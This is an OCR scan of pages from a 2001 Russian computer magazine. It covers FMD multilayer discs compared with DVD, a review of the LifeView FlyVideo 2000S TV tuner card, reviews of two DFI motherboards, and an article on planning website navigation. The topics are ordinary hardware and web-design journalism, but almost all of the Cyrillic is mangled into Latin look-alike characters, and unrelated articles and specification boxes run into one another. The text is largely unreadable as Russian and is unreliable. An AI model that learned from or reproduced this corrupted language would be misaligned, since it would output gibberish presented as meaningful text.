AeT, ecAM McnopTMTCA DVD mam 6yAyiAMM 
FMD-amck? 

EyAyiuee FMD 

ycnex TexHOAorMM FMD 6yAeT 3aBMceTb ot AOCTyn- 
hoctm npoMrpbiBaTeAeM m ueHbi hocmtcaa. Ho ca- 

MblM B3)KH bIM Cj/aKTOpOM CT3HeT TOTOBHOCTb C06CT- 
BeHHMKOB npaB Ha cflMAbMbl nepeMTM K hobom 
T exHOAorMM. BoAbiuaA eMKOCTb FMD noKa He boc- 
Tpe6oBaHa, m ocHOBaHMA aaa ee McnoAb30BaHMA 
noABATCA, TOAbKO ecAM noBceMecTHoe pacnpocTpa- 
HeHMe noAynMT BbicoKOKanecTBeHHoe TeAeBMAeHMe 
(HDTV). K TOMy >Ke HOBbie CTaHAapTbi KOMnpeccMM 
(MP3, MPEG-4, Wavelets m t. n.) no3BOAAiOT coxpa- 
HATb ayAMOBM3yaAbHbie AaHHbie 3c|)c|DeKTMBHee, neM 


SS — OAHOcropoHHMH Hocme/ib (Single Sided) 

DS — ABycTopoHHMM Hocme/ib (Dual Sided) 

SL — OAHOC/ioHHbm Hocme/ib (Single Layer) 

DL — AByxc/iOMHbm Hocme/ib (Double Layer) 

ML — Hocme/ib co CMemaHHbiM c/ioeM 3,8 \~6am 
(Mixed Layer) 

pa3pa6oTaHHbiM paHee cJ/opMaT MPEG-2, nosTOMy 
Ha OAMH CD Mbl MO>KeM 3anMCaTb cflMAbM CpaBHMMO- 
ro c DVD KanecTBa. MeAAeHHoe BHeApeHMe npM- 
roAHbix aaa 3anMCbiB3 HMA m nepenMCbmaHMA DVD 
cpeACTB He npeABeiAaeT HMnero xopomero m aaa 
cpeACTB FMD TaKoro >Ke TMna. MaccoBoe npoM3- 
BOACTBO MO>KeT H3TOAKHyTbCA Ha Te >Ke TeXHOAOTM- 
necKMe TpyAHocm, hto m b CAynae ABycTopoHHMx 
AByxcAOMHbix ahckob DVD. Ecam ahck FMD 6yAeT 
MMeTb ycnex, to penb, ohcbmaho, noMAGT 06 oahom 
M 3 nocAeAHMx HOCMTeAePi noAo6Horo TMna, no- 
CKOAbKy CBOeM eMKOCTblO OH npeBblCMT 60AbLLIMH- 
CTBO nOTeHAMaAbHblX nOTpe6HOCTeM n0Ab30B3TeAA. 

Bmammo, 3to 6yAeT m nocAeAHMM BpaiAaioiAMMCA 
HOCMTeA b, nocKOAbKy BpaiAaTeAbHbiM npMHAMn boc- 
npOM3BeAGHMA yCAO>KHAeT Mo6MAbHOe MCn0Ab30Ba- 
HMe AHCKOB (Heo6xOAMMOCTb CMCTeMbl «3HTM LUOK» 
b nepeHOCHbix nAenepax). 

3aK/iioHeHMe 

3tO, KOHeHHO, AOCTM>KeHMe, KOTAa MO>KHO nOAyHMTb 
oGteMnyio 3HL(MKAoneAMio mam CAOBapb Ha oahom 
HOCMTeAe BMecTO rnecTM m 6oAee. A Ha FMD-amckc 
nOMeCTMTCA OrpOMHOe KOAMHeCTBO BCeB03M0)KH0M 
MHcj/opMauMM. BHeApeHMe FMD Ha pbiHKe MO>KeT 
6AaronpMATHO noBAMATb Ha ueHbi DVD... Ho He 
6yAeM 3a6eraTb BnepeA- Ecam ahck FMD — Bcero 

AMLLIb MbIAbHbIM ny3bipb, TO ACHO 3TO CT3HeT TOAbKO 
nocAe 2002 roAa. M Bee >Ke a c y>KacoM npeACTaB- 
aak) ce6e MOMeHT, KorAa noAyny noAHbiM FMD- 
AMCK, HanpMMep, c AHCTpM6yTMBOM MS Windows 
2004... Ahtoh MoKpeuoB 


CCblJlKM 


Constellation 3D 

www.c-3d.net 

DVD specification 

www.ecma.ch 

UDF file system specification 

www.osta.org 

DVD Association 

www.dvda.org 


noflBJiemie FMD-amckob Ha pbiHKe MO>KeT b^aronpHATHO 
noB/iMHTb Ha ijeHbi DVD 


CHIP 


M K) H b 


2 0 0 1 
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HARDWARE 3Kcnpecc-o63op 


LifeView FlyVideo 2000S 

JleTaiomee BMAeo 


T e/ieBM3M0HHbie TioHepbi k KOMnbiOTepaM BcerAa 
no/ib30Ba/iMCb nony/mpHOCTbio. TeHAeHAMn Ha- 
mero BpeMeHM npMMeHMTe/ibHO k BHyipeHHMM TioHe- 
paM 3aK/iroHaeTcn b crpeM/ieHMM co3Aaib KapTbi, ko- 
Topbie Hap^Ay c npueMOM TV-curHa/ia c/iywM/iM 6bi 
pj\s\ o6pa6oTKM BMAeo /im6o npMeMa FM-paAMonepe- 
Aan. 3aHacryro Bee 3 tm cjDyHKAMM, BK/iroHan TV-TioHep, 
MHTerpMpoBaHbi b BMAeoKapiy (HanpMMep, b npoAyK- 
AMM cjDMpM ATI M ASUS). B 3TOM edb KaK nOJlOWM- 
Te/ibHbie, TaK m OTpMAaTe/ibHbie cropoHbi. 

Xota TaKoe peiueHMe npeACTaB/ineTcn HaM6o/iee 
npOCTbIM M BblTOAHblM C TOHKM 3peHMfl AeHbl TOBapa, 
b KOHeHHOM cneTe 3 to MO>KeT OKa3aTbcn HenpaK- 
TMHHblM, TaK KaK co BpeMeHeM MOIAHOCTM BMAeo- 
KapTbl MO>KeT 6blTb HeAOCTaTOHHO RJ\S\ BblCOKOTpe- 
6oBaie^bHbix npM/io>KeHMM (coBpeMeHHbie Mrpbi, 


3D-naKeTbi). C/ieAOBaTe/ibHO, Kapiy npMAeTcn Me- 
HflTb, XOTfl B Ae.no M TV-TtOHep MOT 6bl C/iy>KMTb M 
Aa/ibwe. TaKMM o6pa30M, caMbiM BbiroAHbiM peme- 
HMeM 3Aecb npeACTaB/meTcn OTAe/ibHan PCI-Kapia 
c TV-TioHepoM, no/iHOCTbK) yAOB/ieTBopn roman no- 
Tpe6HOCTM «KMHOMaHOB». l/l3Ae/iMeM TaKoro TMna 
nBnneicn FLyVideo 2000S. 3ia PCI-Kapia CHa6>KeHa 
TV-TK)HepOM, KOTOpbIM B 3aBMCMMOCTM OT BepCMM 
KapTbi noAAep>KMBaeT pa3/iMHHbie CTaHAapTbi: NTSC, 
PAL (BG, DK, I, M, N) m/im SECAM. TroHep MO>KeT no- 
Ka3biBaTb Ka6enbHoe Te/ieBMAeHMe, b o6meM c/io>k- 
hoctm ao 125 KaHanoB. TaK>Ke b Hero MHTerpMpoBaH 
MOAy/ib A/ifl AeKOAMpoBaHMn crepeocjDOHMHecKoro 
3ByKa, KOTopbiM noAAep>KMBaeT Bee cymecTByroiAMe 
CTaHAapTbi, TaKMe KaK NIKAM, A2, MTS. 

KapTa MMeeT BMAeoBxoA f\nn KOMno3Mi4MOHHoro 
CMTHana m S-Video. B/iaroAapn 3TOMy mo>kho noA- 
K/iiOHMTb BHeniHMM npoMrpbiBaTe/ib, HanpMMep bm- 
AeoMarHMTOc|DOH m/im KaMepy. fl/in 3Toro b KapTe 
npeAycMOTpeH ayAMOBxoA- K cowa/ieHMio, Ha 3ByKO- 
Byro KapTy CMrHa n nepeAaeTcn He npM noMOLAM BHy- 
TpeHHero coeAMHeHMn, a nepe3 BHeniHMM Ka6e/ib. 
flononHMTenbHyro npMB/ieKaTe/ibHOCTb 3TOMy ycT- 
poMCTBy npMAaeT bxoaalamm b KOMn/ieKT ny/ibT amc- 
TaHAMOHHoro ynpaBneHMn. 

TecTMpyeMbm o6pa3eA 6bi/i CHa6>KeH TioHepoM, 
pa6oTaroiAHM b CTaHAapTax PAL BG m PAL DK. Bee ao- 
CTynHbie TeneBM3MOHHbie KaHa/ibi KapTa Haw/ia b pe- 
>KMMe aBTOMaTMHeCKOM HaCTpOMKM 6e3 K3KMX 6bl TO 
hm 6bijio c/io>KHOCTeM. C aBTOonpeAe/ieHMeM ayqMO- 
CTaHAapTa T3K>Ke He bo3hmkjio hmk3Kmx TpyAHOcreM. 


M3o6pa>KeHMe Ha AMcn/iee 6bmo HecoBepmeH- 
HbiM — MHorAa Ha 3KpaHe nonB/m/icn Myap. OAHaKO 
b no/iH03KpaHHOM pe>KMMe KanecTBO M3o6pa>KeHMn 
CTaHOBMTcn HaMHoro /lynwe. 

Bo/iee 3aMeTHbiM HeAOcraTKOM 6bi/io BpeMeHHoe 
CMemeHMe M3o6pa>KeHMn npM AnnaMMHHbix cueHax. 
OneBMAHO, KapTa coBepmeHHO He craBM/ia nepeA 
co6om ue/iM peiiJMTb 3Ty npo6/ieMy — b pe3y/ibraTe 
6biCTpo ABMraroiAMecn o6-beKTbi nacTMHHO Aecfiop- 
MMpOBa/lMCb. 

Hto KacaeTcn 3ByKa, k ero KanecTBy HeT hm Ma- 
jieMWMx npeTeH3MM. 

Pa3yMeeTcn, Mbi npoTecTMpoBa/iM T3K>Ke 3axBaT 
BMAeo. 3Aecb y rpacfiMHecKoro npoueccopa nonBM- 
jiMCb He6onbinMe cjio>khoctm — MHorAa eMy He xBa- 
Ta/10 MOIAHOCTM. ripM MaKCMMa/lbHOM pa3pemeHMM 
M3o6pa>KeHMn 640x480 ToneK b true color m npM 30 
KaApax b ceKyHAy KaApbi BbinaAa/iM AOBO/ibHO nac- 
TO. K 3TOMy CTOMT A06aBMTb, HTO npM 3aXBaTe bm- 
Aeopo/iMK coxpaHneTcn b cfiopMaTe AVI c KOMnpec- 
cueM MPEG-1. Mo>kho TaK>Ke 3axBaTbiBaTb 
OTAenbHbie KaApbi m coxpaHnTb b cJaaPi/i bi bmp. Kpo- 
Me Heo6xoAMMoro noAAep>KMBaroiAero nporpaMM- 
Horo o6ecneneHMn, k KapTe Ao6aBneHbi RealPlayer 
G2, RealProducer G2 m Cebra Teletext — nporpaMMa 
A/in AeKOAMpoBaHMn TeneTeKCTa. 

FlyVideo 2000S cjDMpMbi LifeView — MHoroc|DyHK- 
AMOHa/lbHblM npOAyKT, B KOTOpOM XOHeTCn BblAe- 
nMTb BbicoKoe KanecTBO TV-TioHepa, CTepeoAeKOAe- 
pa m Ha/iMHMe OT/iMHHoro no. 

BnponeM, p,nn 3axBaTa BMAeo c 60/iee bwcokmm 
K anecTBOM mo>kho hbmtm KapTbi m nonyHine, ho ohm 
6yAyT bo MHoro pa3 Aopo>Ke. 

■ ■ ■ Ahtoh MoKpei 40 B 


FLYVIDEO 2000S 


Te/ieBM3MOHHan KapTa co CTepeoBbixoAOM 
MoAe/ib ► LR90SR 

rioAAep>KMBaeMbie TV-CTaHAapTbi ► NTSC, PAL 
(BG, DK, I, M, N) M/IM SECAM, B 33BMCMM0CTM OT 
MOAe/lM 

flono/iHMTe/ibHoe o6ecneHeHMe ► AeKOAep p,nt\ 
CTepeo3ByKa, nynbT AMCTaHAMOHHoro ynpaBneHMn 

nporpaiviiviHoe o6ecneHeHMe ► RealPlayer G2, 
RealProducer G2, Cebra Teletext 

M3roTOBMTe/ib ► LifeView 
UeHa $85 
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flBe MaiepuHCKne n ji a t bi ot DFI 

DFI K8K DFI 


M aiepuHCKne njiaTbi TecTnpoBajin, Tecrn- 
pyK)T i/i 6yflyT TecrnpoBaTb. Ha stot pa3 
npoBepKy npoxoflMT npoAyKUMfl Kopnopaunfl 
DFI: MaiepHHCKaa njiaTa WT70-EC n AK76-SN. 

WT70-EC — 3to MaiepMHCKa^ n/iaia, npefl- 
Ha3HaHeHHaii p,nn npoueccopoB Intel Pentium 
4. ri/iaia ncno/ib3yeT HnnceT Intel 850 (no- 
Apo6Hee cm. Chip 05/2001) c noflflep>KKOM Ult- 
ra ATA/100. Ha njiaTe pacno/iaraiOTCfl b o6men 
c/iojkhoctm neTbipe c/iOTa p,nn naMATM RDRAM 
PC600 /in6o PC800. MaKCUMa/ibHbm oOteM na- 
matm cocTaB/meT 2 r6anT, to we Kacaera n na- 
mat n c KoppeKunen owm6ok (ECC). KpoMe AGP- 
c/iOTa, Ha n/iaTe HaxoAflTca eme naTb 
PCI-C/IOTOB M OflMH C/IOT CNR. 

Ec/in Mbi nocMOTpnM Ha BHeui h ne nopTbi, to 
yBMflMM Asa PS/2, ABa USB, ABa cepnnHbix m 
oamh napajuiejibHbin. Paaom c pa3teMOM na- 
pa/uie/ibHoro nopTa pacno/io>KeHbi Tpn ayAno- 
BxoAa n/noc oamh nopT f\nn nrpoBbix ycT- 
Pomctb, hto 03HanaeT Ha/iMHMe 
MHTerpMpoBaHHoro AC97-KOAeKa. 

BTopaa MaTepMHCKaii njiaTa AK76-SN c 
Socket A npeAHa3HaneHa p,nn npoueccopa 
AMD. fljm o6ecneHeHMfl pa6oTbi npoueccopoB 
AMD cyiAecTByeT HecKOJi bKO HMnceTOB pa3/inH- 
Hbix npoM3BOAMTe/ieM. Tax, p,nn AK76-SN 6bi/i 
Bbi6paH ceBepHbm moctAMD 761 m lowHbin 


VIA VT82C686B. Ohcbmaho, hto nnaia pa6oTa- 
eT c npoueccopaMM (Athlon, Duron), noAAep- 
>KMBaiOlAMMM HaCTOTy CMCTeMHOM UJMHbl 100 
Jin6o 133 MTa (3Cpc|3eKTMBHa5i — 200 mjim 266 
MTu). KoacjDClDMAMeHT yMHO>KeHM51 MO>KeT npn- 
HMMaTb 3HaneHM5i ao 12,5. Ec/in k 3TOMy npn- 

6aBMTb T3K>Ke B03MO>KHOCTb M3MeHflTb Hanpfl- 

>KeHMe npoueccopa ot 1,475 ao 1,850 B c 
maroM 0,025 B n yBe/iMHMBaTb nacTOTy cnc- 
TeMHOM UJMHbl c maroM 1,0, no/iyHMM AOCTaTOH- 
ho xopomMe nepcneKTMBbi p,nn pa3roHa cncTe- 
Mbi. ripM 3 tom, ecTecTBeHHo, n/iaTa 
aBTOMaTMHecKM onpeAe/meT Tnn npoueccopa. 

HecKO/ibKO c/iob o noAAep>KMBaeMbix TMnax 
naMjiTM: AK76-SN CHa6>KeHa RBytAn c/iot 3 mm p,nn 
MOAy/ieM naMjiTM DDR SDRAM PC200 mjim PC266, 
MaKCMMa/ibHbiii oOteM naMjiTM cocTaB/meT 2 
T6aMT. Ha n/iaTe pacno/ioweH nopT AGP m mecTb 
PCI-C/IOTOB. 

Tax >ne Kan y npeAwecTByioiAMx njiaT, y 
AK76-SN He xBaTaeT peanmapm TexHO/iornn 
wake-on-LAN m wake-on-ring. Ha n/iaTe OTcyTCT- 
ByeT MHTerpMpoBaHHaji 3ByKOBafl KapTa. 

06e n/iaTbi, CKOHCTpyMpoBaHHbie AOCTaTOHHO 
ocHOBaTe/ibHO, npoM3BOA^T npnflTHoe BnenaT/ie- 
HMe. Hm c oahom M3 hmx He bo3hmk/io cymecr- 
BeHHbix npo6/ieM. 

■ ■ ■ Ahtoh MonpeiiOB 




AK76-SN 


MaTepHHCKan n/iaTa p,nn npoueccopa 
AMD Athlon min Duron 

CPU-cjiot ► Socket A 

HnnceT ► AMD 761 — ceBepHbin moct, VIA 
VT82C686B — lowHbin moct 

C/iOTbi rj ia MOAy/ien naMHTn ► 2 x DIMM DDR 
SDRAM PC200 mjim PC266 

MaKcnMa/ibHbin o6i>eM naMflTn ► 2 l“6aMT 

C/iOTbi Arm AGP n PCI-ycTponcTB ► 1 x AGP, 

6 x PCI 

MHTepc|)enc ► 2 x Ultra ATA/lOO 
OopM-ct)aKTop ► ATX 
M3roTOBHTe/ib ► DFI 


WT70-EC 


MaTepnHCKaa n/iaTa p,nn npoueccopa 
Intel Pentium 4 

CPU-cjiot ► Socket 423 

HnnceT ► Intel i850 

C/iOTbi Ri\n MOAy/ien naMHTn ► 4 x RIMM RDRAM 
PC600 mjim PC800 

MaKcnMajibHbin o6i>eM naMHTn ► 2 l“6anT 

CjiOTbi A^fl AGP n PCI-ycTponcTB ► 1 x AGP, 

5 x PCI, 1 x CNR 

MHTepc|)enc ► 2 x Ultra ATA/lOO 

OopM-cJ)aKTop ► ATX 

M3roTOBnTejib ► DFI 
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NTERNET pa3pa6oTKa MHTepHeT-npMJioweHMM 



3aneM web-MacTepy 

KaUbKyUflTOp? 

riyTeiuecTByyi b Cem, Bbi, HaBepHoe, He pa3 o6pama/iki BHMMaHkie Ha HeoflHopoflHOCTb BHeujHero Bkifla 
C3MT0B — KaK pOCCMMCKMX, T3K M 3apy6e>KHblX. HaCTO BCTpeHafOTCfl nOTpyiCaiOme MH(J)OpMaTMBHbie CaMTbl, 
HO nOMCK M BOCnpMflTMe MHC|)0pMai4MM Ha HMX 6blBaiOT 3aTpyflHeHbl HepjUU/lMBbIM BHeLUHMM BMflOM CTpaHMp 
m HenpoflyMaHHOM CMCTeMoPi HaBMrapMH. OiynaeTCfi BcrpeTMTb m «o6paTHyio CTopoHy Mefla/iM» — crpaHM- 
pbl C Be/lMKO/ieriHblM flM33MH0M M HaBMfaLJMeM, HO C MMHMMyMOM n0^e3H0r0 COflepXOHMfl. 


epBbie, KaK npaBM/io, Ae/io pyK /no 6 nTe/ieM, ot 
B ceM flyiuM we/iaioiAi/ix noAe/iMTbCfl cbommm 
3 Ham/iflMM m/im Ta/iamaMM, HO a 6 cO/llOTHO He 3 H 3 K 0 - 
Mbix c noH^TM^MM Usability, MapKeTMHr m t. n. 
Biopbie — name Bcero npon 3 BeAeHMfl MCKyccTBa, 
Bbino/iHeHHbie npocfieccMOHa^bHbiMM CTyflM^MM Ha 
3aKa3, a MMHi/myM MHcjDopMauMM obtflCHaeTCfl, cko- 
pee Bcero, TeM, hto 3 aK 33 HMK He CMor bhatho o 6 i>flc- 
HMTb npocfieccMOHajiaM, p,nn Hero eMy co 6 dBeHHO 
Hy>KeH cam, hto oh xoneT flOHecTM ao noTeHAi/ia/ib- 


Hbix noceTMTe^eM. Eo/ibWMHCTBO nony/iapHbix pecyp- 
cob c 6 o/ibLUOM noceiAaeMOdbio npeAda bjiaiot co- 
6 om npMMepbi « 30 /iotom cepeAMHbi» — yflanHo Han- 
AeHHoro 6 a/iaHca Me>KAy c|dopmom m coA 6 p>KaHi/ieM. 
KaK h 3 mtm « 30 /iOTyio cepeAMHy» — TeMa He oahom 
>K ypHa/ibHOM CTaTbM. Hio 6 bi b no/iHOM Mepe onncaTb 
Bee ceKpeTbi ycnexa. He xBaTMT m MHoroTOMHoro Tpy- 
Aa. OAHaKO n nonbuaiocb AaTb HecKO/ibKO cobctob, 
KOTopbie, HaAeiocb, noMoryT BaM CAe/iaTb cbom cav\j 
aKKypaTHee m yAo 6 Hee p,nn noceTMTe/ien. 


Ec/im Bbi pacno/iaraeTe m HcjDopMaAi/ieM, koto- 
paa, no BaiueMy mhchmio, MO>KeT 6biTb MHTepecHa 
6o/ibwoMy Kpyry /HOAePi, m/im ec/in Bbi MMeeie He- 
Koe xo66m m we/iaeTe namv\ KaK mo>kho 6o/ibwe 
eAUHOMbllil/ieH HMKOB, y Bac HaBepHflKa B03HMKHeT 
we/iaHi/ie C03AaTb co6cTBeHHbm cam b MHTepHe- 
Te. He ceKpeT, hto npocTO C03AaTb cam HeAOCTa- 
tohho, hto Hy>KHO ero pery/iapHO o6HOB/iflTb, 
BecTM nepenMCKy c 3aMHTepecoBaHHbiMM noceTM- 
Te/iiiMM, aAMMHMCTpMpoBaTb rocreByio khm ry M 
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0 $MpMe 


ToBapbi 


LJeHbi 


CCbl/lKM 


CBH3b 

Mctopmu npeAnpMUTMu 
Flame npoM3BOACTBO 
FlamM c|DM/iMa/ibi 
Oc|DMUMa/ibHbie AH/iepbi 
KoHTaKTHau MHcJ/opMauMu 


JlerKOBbie 3 btomo6m/im 
rpy30Bbie aBT0M06M/lM 
llpMuenbi 
3anacHbie nacTM 


OnTOBbie ueHbi 
P03HMHHbie UeHbi 
CneuMa/ibHbie ckmakm 


CaMTbi aBT03aB0A0B 

ABTonopTa/ibi 

OopyMbl 06 aBT0M06M/lUX 

Apyrne aBTOcaMTbi 


TocTeBau KHMra 
F. A. Q. 

OopyM noxynaTe/ieM 
OopyM npoM3BOACTBa 
3/ieKTpoHHau noHTa 


▲ Phc. 1 . npmviepHafl cxeMa HaeurauMii 


cjDopyM, — 06 stom m T3K ywe HanMcaHbi cothm 
CT aieM b cneuna/ibHbix M3AaHMux. Mbi noroBopMM 
ji mu b o tom, KaK Cfle^aTb caMT yAo6HbiM m npM- 
B/ieKaTe/ibHbiM, HTo6bi noceime/iM, HaweAWMe Ba- 
me TBopeH Me nepe3 KaTa/iorM m/im noMCKOBbie Ma- 
LUMHbi, He 6e>Ka/iM b ywace, eflBa yBMfleB nepByio 
CTpaHMuy, m He yxoflM/iM HeAOBO/ibHbiMM, 3any- 
TaBLLlMCb B npMHyfl/1 M BOM CMCTeMe HaBMraUMM M 
He HaMfl^ toto, hto MCKa/iM. 

JlK)6MTe/lbCKMe CTpaHMUbi o6blHHO C03flaiOTC51 
3a HeCKO/lbKO MMHyT nOCpeflCTBOM BM3ya/lbHblX pe- 


AaKTopoB, TaKMx KaK MS FrontPage, Dreamweaver 
m t. n. HaM6o/iee TpyfloeMKMM mx co3AaTe/iM, KaK 
npaBM/io, cHMTaiOT Ha6op TeKCTOBbix MaiepMa^OB m 
CK aHMpOBaHMe CjDOTOrpac|DMM. ri0A06HblM nOflXOfl 
MO>KeT McnopTMTb /ik)6om M3Hana/i bHo npexpacHbm 
3aMbice/i. 

riepefl TeM KaK 6paTbcu 3a BepcTKy caMTa (He 
Ba>KHO, pyKaMM B «E/10KH0Te» M/IM C nOMOLMblO 
FrontPage), c/ieuyeT TiuaTe/ibHO npoflyMaib CMCTe- 
My pa3MeiMeHM^ MHcj/opMauMM. CaMbie Ba>KHbie mh- 
CTpyMeHTbi co3flaTe/ifl caMTOB — ziorMnecKoe 
Mbiw/ieHMe, /iMHeMKa m Ka/ibKy/iuTop, a BOBce He 
noc/ieflHflfl KO/i/ieKUMu 6ecn/iaTHOM aHMMMpoBaH- 
HOM rpacjDMKM M HaBOpOHeHHbIM BM3ya/lbHblM pe- 
AaKTop. flaBaMTe nocMOTpMM, KaK npaBM/ibHo mx 
MC n0/lb30BaTb. 

LUar nepebiM — pa3pa6oma 

CMCTeMbi HaBMrauHH 

Auu Hana/ia noflyMaMTe, KaKMe pa3Ae/ibi 6yflyi Ha 
BaiueM caMTe. CociaBbTe no/iHbm cnMCOK CTpaHMU, 
Bn/lOTb AO CaMbIX Me/IKMX, T3KMX KaK «KOHTaKTHa^ 
MHc|DopMaAM5i» m «riojie3Hbie ccbmKM». Fie 3a6yAb- 
Te BHecTM b Hero c|)opyM m rocieByio KHMry, ec/iM 
ohm Hy>KHbi BaiueMy caMTy. riycTb Bac He nyraeT, 
ec/iM 3 tot cnMCOK OKawera c/imlukom A-nunHbiM; 
Hao6opoT, nodapaMTecb Mbic/ieHHo pa36MTb bcio 
MM eioiuyiocfl y Bac MHcfiopMauMio Ha MaKCMMa/ib- 
Hoe KO/i MHecTBO Me/iKMx pa3Ae/iOB. 3aieM noAy- 
MaMTe, KaKMe M3 pa3Ae/iOB mo>kho o6'beAMHMTb Ha 
oahom dpaHMue. 


HanpMMep, ec/iM b pa3Ae/ie «KoHTaKTHau mh- 
c|3opMaAMfl» Bbi co6Mpaeiecb yKa3biBaTb mnbKO aA- 
pec m Te/iecjDOH, Bno/me mo>kho o6-beAMHMTb ero c 
pa3Ae/iOM «0 <t>MpMe». Fla stom 3Tane c/ieAyMTe 
npaBM/iy «oamh pa3Ae/i — OAHa crpaHMua». HeM 
MeHbiue 6yAeT npeAno/iaraeMbm o6'beM oahom 
CT paHMUbi, TeM /lyniue. 

Ec/im b MTore y Bac no/iyHM/icu cnMCOK 6o/iee 
neM M3 nflTM-wecTM pa3Ae/iOB, HaHMHaMTe 061^- 
AMHATb Me/i km e noApa3Ae/ibi b 60/iee KpynHbie c 
ue/ibio C03AaHM/i AayxypoBHeBOM HaBMrauMM. fl/i/i 


60/lbUJMX caMTOB OnTMMa/lbHblM CHMTaeTC/1 MC- 
no/ib30BaHMe mmchho AByx ypoBHeM; TpM m 60/iee 
CTyneHM HaBMrauMM y>Ke 3HaHMTe/ibHO 3aTpyAHu- 
tOT nOMCK Hy>KHOM MHCj/OpMaUMM Ha BaiUMX CTpa- 
HMuax. FlanpMMep, Me/iKMe noApa3Ae/ibi «Ccbi/i km 
no TeMe», «M HTepecH bie ccbi/iKM» m «rio/ie3H bie 
ccbi/i km» Bbi MO>KeTe o6'beAMHMTb b pa3Ae/i 
«Ccbi/iKM»; noApa3Ae/ibi «HcTopMu npeAnpMflTM/i», 
« H a lu m napTHepbi», « H a m e npoM3BOACTBO» m 
«K oHTaKTHa/i MHc|)opMauM/i» — b pa3Ae/i 
«0 C|DMpMe», M T. A- 

OAHOBpeMeHHO ctomt 3aAyMaTbc/i 0 6biCTpoM 
noMCKe Ha caMTe no K/iioneBbiM c/iOBaM m/im pac- 


LUMpeH hom noMCKe c yneTOM Apyrnx KpMTepMeB. 
Ec/im Bbi coHTeTe Heo6xoAHMbiM co3AaHMe ot- 
Ae/ibHOM CTpaHMUbi paciuMpeHHoro noMCKa, we/ia- 
Te/lbHO BK/llOHMTb ee B CaMbIM BepXHMM ypoBeHb 
HaBMrauMM. 

KorAa Bbi Mbic/ieHHo onpeAe/iMTecb c cocraBOM 
pa3Ae/iOB BepxHero ypoBHu, HapMcyMTe npeAno/ia- 
raeMyio cxeMy HaBMrauMM (cm. pmc. 1) — 3to no3- 
bo/imt BaM Har/i/iAHO y6eAMTbc/i b o6-beMe pa3Ae- 
/IOB M JierKOCTM noMCKa Hy>KHOM MHCflOpMaUMM. 
TaK>Ke cxeMa no3BO/iMT BaM o6Hapy>KMTb bo3mo>k- 
Hbie npocneTbi m eiue pa3 npoBepMTb, HacKO/ibKO 
BepHo CMbic/iOBoe Ae/ieHMe Ha pa3Ae/ibi. 


LUar BTopoM — pa3MeiMeHiie 
HaBMrauMOHHbix naHe/iew 

KorAa Bbi AOBeAeTe cxeMy HaBMrauMM ao ziorMHec- 
Koro coBepmeHCTBa, MO>KeTe y>Ke 3aAyMbiBaTbc/i 
HaA ee pa3MeiueHMeM Ha CTpaHMuax. FlMKOMy He 
Hy>KHO 06"b/lCH/lTb B3)KHOCTb Ay6/lMpOBaHMfl HaBM- 
rapMOHHbix naHe/ieM Ha Bcex CTpaHMuax caMTa. f\ 0- 
BO/ibHO pacnpocTpaHeHO MHeHMe, hto noApo6Ha/i 
cxeMa HaBMrapMM Heo6xoAMMa TO/ibKO Ha rnaBHOM 
CTpaHMue, a Ha ocTa/ibHbix aoct3tohho pa3MecTMTb 
ccbi/iKy «FHa r/iaBHyio» (m/im «Aomom»). 3to 3 a- 
6/iy>KAeHMe. 

06iAaflCb c HeonbiTHbiMM no/ib30BaTe/i/iMM b 
M HTepHeTe, ft y3Ha/ia /iio6onbiTHyio BeiAb: 60/ib- 
LUMHCTBO HOBMHKOB BOCnpMHMMaiOT CCbl/lKM C 
M3o6pa>KeHMeM «AOMMKa» (m/im C TeKCTOM «Ao- 
mom») KaK BeAyiAMe Ha CTpaHMpy, ycTaHOB/ieHHyio 
b 6poy3epe b KanecTBe «AOMamHeM». To ecTb no- 
Ao6Hbie ccw/ikm accouMMpyiOTC/i y mhotmx c aHa- 
/iotmhhom KHonKOM 6poy3epa, m no/ib30BaTe/iM 
npocTO He AoraAbiBaiOTC/i Ha>KaTb Ha «aommk», 
HTo6bi BepHyTbc/i Ha r/iaBHyio CTpaHMuy caMTa. 

3to nacTO /iB/i/ieTC/i npMHMHOM >Ka/io6 hobmhkob: 
«B 1/lHTepHeTe He TO/ibKO h M nero HeB03M0>KH0 
h3mtm, ho a awe BepHyTbc/i Ha3aA oneHb c/io>k- 
ho». MeH/i nopa3M/io T3K>Ke to, hto mhotmc «web- 
cepcf)epbi» Aawe He AoraAbiBaiOTC/i 0 Ha3HaneHMM 
KHonoK «Back» m «Forward» («Fla3aA» n «Bne- 
peA») — KaK b 6poy3epe, TaK m b HaBMrauMOH- 


HblX CMCTeMaX caMTOB. riOSTOMy CTOMT CTpeMMTb- 
Cfi K MaKCMMa/lbHOM MHCj/OpMaTMBHOCTM CCbl/lOK. 

Ec/im Bbi AeMCTBMTe/ibHO xotmtc, HTo6bi noceTM- 
Te/ib 3aAep>Ka/ic/i Ha BaiueM caMTe m BHMMaTe/ibHo 
M3yHM/i Bee pa3Ae/ibi, npeAOCTaBbTe eMy bo3mo>k- 
HOCTb cbo6oaho nepeMeiuaTbcu M3 cfiopyMa b pa3- 
Ae/i ccbi/ioK, co CTpaHMUbi npaMC-/iMCTa — b rocre- 
Byio KHMry m t. a. 

MHOTMe CHMTaiOT, HTO MO>KHO CAe/iaTb HaBMra- 
UMOHHyio naHe/ib TO/ibKO Ha r/iaBHOM m npM stom 
Bee OCTa/lbHbie CTpaHMUbi OTKpbIBaTb B HOBbIX OK- 
Hax. 3to TO>Ke 3a6/iy>KAeHMe. Bo/ibiuMHCTBO noce- 
TMTe/ieM Aa>ne He AoraAbiBaiOTCu 0 tom, hto y hmx 


CaMbie Ba>KHbie MHCTpyMembi rj ih co3flaie/ifl caMTOB — 

ziorimecKoe Mbim/ieHtie, nnHeiiKa 11 Ka/ibKy/iBTop 


Heo6xoflMMO Ay6/iMpoBaTb HaBHrauHOHHbie 

He/iki Ha Bcex cipaHMuax caMTa 


CHIP 


M K) H b 


2 0 0 1 
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NTERNET pa3pa6oTKa MHTepHeT-npMJioweHMM 



a Pmc. 2. Mcnojib30BaHne aTpn6yxa title 


OTKpbmocb HOBoe okho, ec/iM 6poy3ep no yMO/i- 
H3H M KD pa3BOpaHMBaeT OKHa BO Becb 3KpaH. B Ta- 
kmx c/iyna/ix Baiua r/iaBHaa crpaHMfla 6yflei o6Ha- 
py>neHa /iMWb Torfla, Korfla pa3flpa>KeHHbiM 
OTcyTCTBMeM ccbmoK Ha ocra/ibHbie pa3fle/ibi no- 
ceTMTe/ib 3aKpoeT HOBoe okho c TBepflbiM HaMe- 
peHMeM HMKorfla 6o/ibwe He B03BpaiflaTbc/i Ha 
Barn Heyflo6Hbm caMT. He roBopa y>Ke o HeHaBMc- 
